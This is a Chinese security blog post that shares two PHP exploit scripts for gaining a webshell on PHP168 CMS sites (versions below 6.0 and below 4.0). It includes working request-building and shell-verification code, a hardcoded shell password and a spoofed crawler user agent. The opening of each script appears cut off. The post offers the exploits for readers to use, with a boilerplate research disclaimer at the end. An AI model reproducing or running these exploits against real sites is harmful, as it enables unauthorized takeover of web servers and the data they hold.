最近好忙,一直没有时间更新博客,对不住大伙了。这两天渗透测试一项目,遇到了php168,也就是现在的齐博CMS文章系统的前身。关注了一下php168的漏洞,折腾出来了两个exp发给大家玩玩,喜欢的拿去,不喜欢的算了。
PHP168 6.0以下版本Getshell
入侵者可以在用户登陆页面构造特殊语句,将PHP一句话写入cache目录,从而获得使用PHP168整站程序网站的WEBSHELL权限。
'; $url = "http://$host/$path/cache/$shell"; echo '正在GetShell,请稍候……' . "\n\n"; send_pack(); shell_ok($url); //判断shell是否写入成功 function shell_ok($url) { $headers = get_headers($url); if (strpos($headers[0], 'HTTP/1.1 200 OK') === 0) { echo '恭喜大爷,一句话写入成功,密码为:safe' . "\n\n" . 'Shell地址为:' . $url . "\n"; } else { echo 'Shell写入失败,请尝试更换目录测试。' . "\n"; } } //发送数据包函数 function send_pack() { global $host, $path, $shell, $code; $data = "GET " . $path . "/login.php?makehtml=1&chdb[htmlname]=$shell&chdb[path]=cache&content=$code HTTP/1.1\r\n"; $data .= "Host: $host\r\n"; $data .= "User-Agent: BaiduSpider\r\n"; $data .= "Connection: Close\r\n\r\n"; $fp = @fsockopen($host, 80, $errno, $errstr, 30); //echo ini_get('default_socket_timeout');//默认超时时间为60秒 if (!$fp) { echo $errno . '-->' . $errstr . "\n"; exit('Could not connect to: ' . $host); } else { fwrite($fp, $data); $back = ''; while (!feof($fp)) { $back .= fread($fp, 1024); } fclose($fp); } return $back; } ?>
参考网站:http://huaidan.org/archives/3276.html
PHP168 4.0以下版本代码执行,可GetShell
这个在比较低版本下面可以测试成功,原理是php168在登陆的时候会把登陆信息保存了cache/adminlogin_logs.php文件中,保存的信息是在“”中,我们知道php中“”内是可以解析变量的,那么我们只要在登陆的信息中写入代码即可,详细的可以自己看下面的exp。
"; @file_get_contents($shell_url); $shell = "http://$host/$path/cache/config.php"; if (@fopen($shell, 'r')) { echo '恭喜大爷,一句话写入成功,密码为:safe' . "\n\n" . 'Shell地址为:' . $shell . "\n"; } else { echo 'Shell写入失败,请更换路径测试!' . "\n"; } } //发送数据包函数 function send_pack($code) { global $host, $path; $data = "POST " . $path . "/admin/index.php HTTP/1.1\r\n"; $data .= "Host: $host\r\n"; $data .= "User-Agent: BaiduSpider\r\n"; $data .= "Content-Type: application/x-www-form-urlencoded\r\n"; $data .= "Content-Length: " . strlen($code) . "\r\n"; $data .= "Connection: Close\r\n\r\n"; $data .= $code . "\r\n"; //echo $data;exit; $fp = @fsockopen($host, 80, $errno, $errstr, 30); //echo ini_get('default_socket_timeout');//默认超时时间为60秒 if (!$fp) { echo $errno . '-->' . $errstr . "\n"; exit('Could not connect to: ' . $host); } else { fwrite($fp, $data); $back = ''; while (!feof($fp)) { $back .= fread($fp, 1024); } fclose($fp); } return $back; } ?>
由于PHP168文章系统已经不再更新了,改名为齐博CMS了,所以这两个0day其它用处不大的。。。
from www.waitalone.cn.thanks for it.
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论